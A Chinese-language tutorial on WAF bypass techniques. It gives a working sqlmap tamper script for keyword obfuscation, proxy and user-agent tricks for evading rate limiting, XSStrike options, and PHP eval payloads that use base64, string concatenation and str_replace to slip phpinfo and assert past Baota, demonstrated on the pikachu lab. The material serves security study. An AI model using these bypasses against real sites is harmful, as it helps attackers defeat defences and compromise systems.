WAF绕过-漏洞利用之注入上传跨站等绕过
思维导图
一、sql注入绕过
使用sqlmap注入测试绕过
1.绕过cc流量
通过sqlmap对网站进行测试的时候,如果对方有cc流量防护,需要给sqlmap设置一个代理进行注入。
- 防cc拦截:修改user-agent头+代理(付费代理池)
修改user-agent头:
(1)加参数:–random-agent
- 使用随机user-agent进行测试。sqlmap有一个文件中储存了各种各样的user-agent,文件在
sqlmap/txt/user-agent.txt
在level>=3时会检测user-agent注入。
(2)直接加上头部加参数:–user-agent=“Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)”
-
指定一个user-agent的值进行测试。
- 默认情况下,sqlmap会使用自己的user-agent进行测试(所以很多服务器发现user-agent是sqlmap的数据包直接认为是入侵),sqlmap自己的user-agent是:
sqlmap/1.0-dev-nongit-201603020a89(http://sqlmap.org)
(3)修改配置文件sqlmap.conf中的agent变量值
加代理:–proxy=“http:tps123.kdlapi.com:15818”
这里的代理为自己购买的。
- 默认情况下,sqlmap会使用自己的user-agent进行测试(所以很多服务器发现user-agent是sqlmap的数据包直接认为是入侵),sqlmap自己的user-agent是:
2.绕过关键字
替换关键字为加密
编写的waf-dog.py:python脚本如下
#!/usr/bin/env python
"""
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def tamper(payload,**kwargs):
retVal =""
if payload:
payload = payload.replace("union","%23a%0aunion")
payload = payload.replace("select","/*!4457select*/")
payload = payload.replace("%20","%23a%0a")
payload = payload.replace(" ","%23a%0a")
payload = payload.replace("database()","database%23a%0a()")
return payload
//替换了关键字
3.注释拦截绕过
在买了宝塔付费产品后,过狗的payload中含有/*的都会被宝塔拦截。(宝塔比安全狗多了一个对/*
进行检测),
因此同样用编写后绕过安全狗的tampe模块去跑网站,虽然绕过了安全狗,如果对方有宝塔,会被宝塔拦截。
方法:一但用到/*
这些注释什么的,就在前面加上%00,宝塔就以为结束了,不会检测后面的数据了。
修改脚本,在使用/*的时候在前面加上%00
语句示范:
sqlmap --proxy="http://127.0.0.1:8080" --tamper="waf.py" --random-agent
`--tamper=TAMPER` 使用sqlmap自带的tamper,或者自己写的tamper,来混淆payload,通常用来绕过waf和ips。
另外,抓包查看sqlmap的指纹如下,会被waf拦截,所以需要修改us头。
二、文件上传
更改上传后缀名的格式
1.php 截断,参考之前学习的payload上传,绕过waf
和前面文件上传专题的绕过方法一样。
三、XSS绕过WAF
利用 XSStrike工具进行测试
此时如果对方网站开启cc防护:
1.由于是工具,需要设置一个代理
2.设置延迟参数
即:利用xss trike绕过,加上–timeout或者–proxy绕过cc
xsstrike.py -u "目标网址" --timeout x 延时
xsstrike.py -u "目标网址" --proxy 代理地址
XSStrike参数:
-h, --help //显示帮助信息
-u, --url //指定目标 URL
--data //POST 方式提交内容
-v, --verbose //详细输出
-f, --file //加载自定义 paload 字典
-t, --threads //定义线程数
-l, --level //爬行深度
-t, --encode //定义 payload 编码方式
--json //将 POST 数据视为 JSON
--path //测试 URL 路径组件
--seeds //从文件中测试、抓取 URL
--fuzzer //测试过滤器和 Web 应用程序防火墙。
--update //更新
--timeout //设置超时时间
--params //指定参数
--crawl //爬行
--proxy //使用代理
--blind //盲测试
--skip //跳过确认提示
--skip-dom //跳过 DOM 扫描
--headers //提供 HTTP 标头
-d, --delay //设置延迟
四、RCE执行绕过
加密编码绕过?算法可逆?关键字绕过?提交方法?各种测试?
实例:目标pikachu靶场rce漏洞
1.RCE源代码:
接收post传入的参数,并且通过eval执行,如果没执行成功则输出字符串
1.输入echo 123; 并执行,成功输出
2.但是当输入phpinfo();
时,连接被重置了,此处是因为敏感字符被waf检测到了所以进行拦截
拦截日志,触发了phpinfo()
4.此时我们想到通过base64加密解密来绕过phpinfo(); 这个关键字
先把phpinfo();用base64加密,结果为cGhwaW5mbygpOw==,然后用php中的base64解密函数base64_decode()进行解密
所以在输入框内base64_decode(‘cGhwaW5mbygpOw==’);提交即可
当post将字符串base64_decode(‘cGhwaW5mbygpOw==’);提交后,对方后台接收到post值,并通过eval将字符串当成php代码执行,就成功对加密后的phpinfo();进行了解密还原。(此时感觉逻辑非常的通顺)
5.提交后发现又被拦截了,此时我们打开宝塔的日志看了一眼,又被匹配到了敏感参数,这次是base64_decode()
(我感觉就算没有拦截的话,通过上面源码看,传入后也执行不了,会报语法错误)
6.此时就可以用字符串的拼接来绕过waf对关键字的匹配
(1) 因为waf只是拦截关键字,我们用字符串将关键字拼接起来,waf就不会识别到,并且可以执行同样的功能
例子:
$a='php'.'info();';assert($a);
将php和info(); 拼接起来赋值给变量a,再通过assert对执行变量a
提交后
(2) 或者用php中的str_replace函数替换变量中指定的字符串为空
txt=$y=str_replace('x','','pxhpxinxfo()');assert($y);
(3) 上面的方法都有用到assert来执行phpinfo(); 如果assert也被过滤了呢
此时我们也可以用拼接字符串或者str_replace拆分来绕过关键字
$x='asse';$xx='rt';$xxx=$x.$xx;$y=str_replace('x','','pxhpxinxfo()');$xxx($y)
使用assert还有一点
不使用没有显示是因为phpinfo()没有被执行,因此加个assert()函数
也可以通过$_REQUEST
提交方式绕过
完整语句:
txt=$y=str_replace('x','','pxhpxinxfo()');assert($y);&submit=%E6%8F%90%E4%BA%A4ce
五、文件包含
以下几种:…\ …/ …\等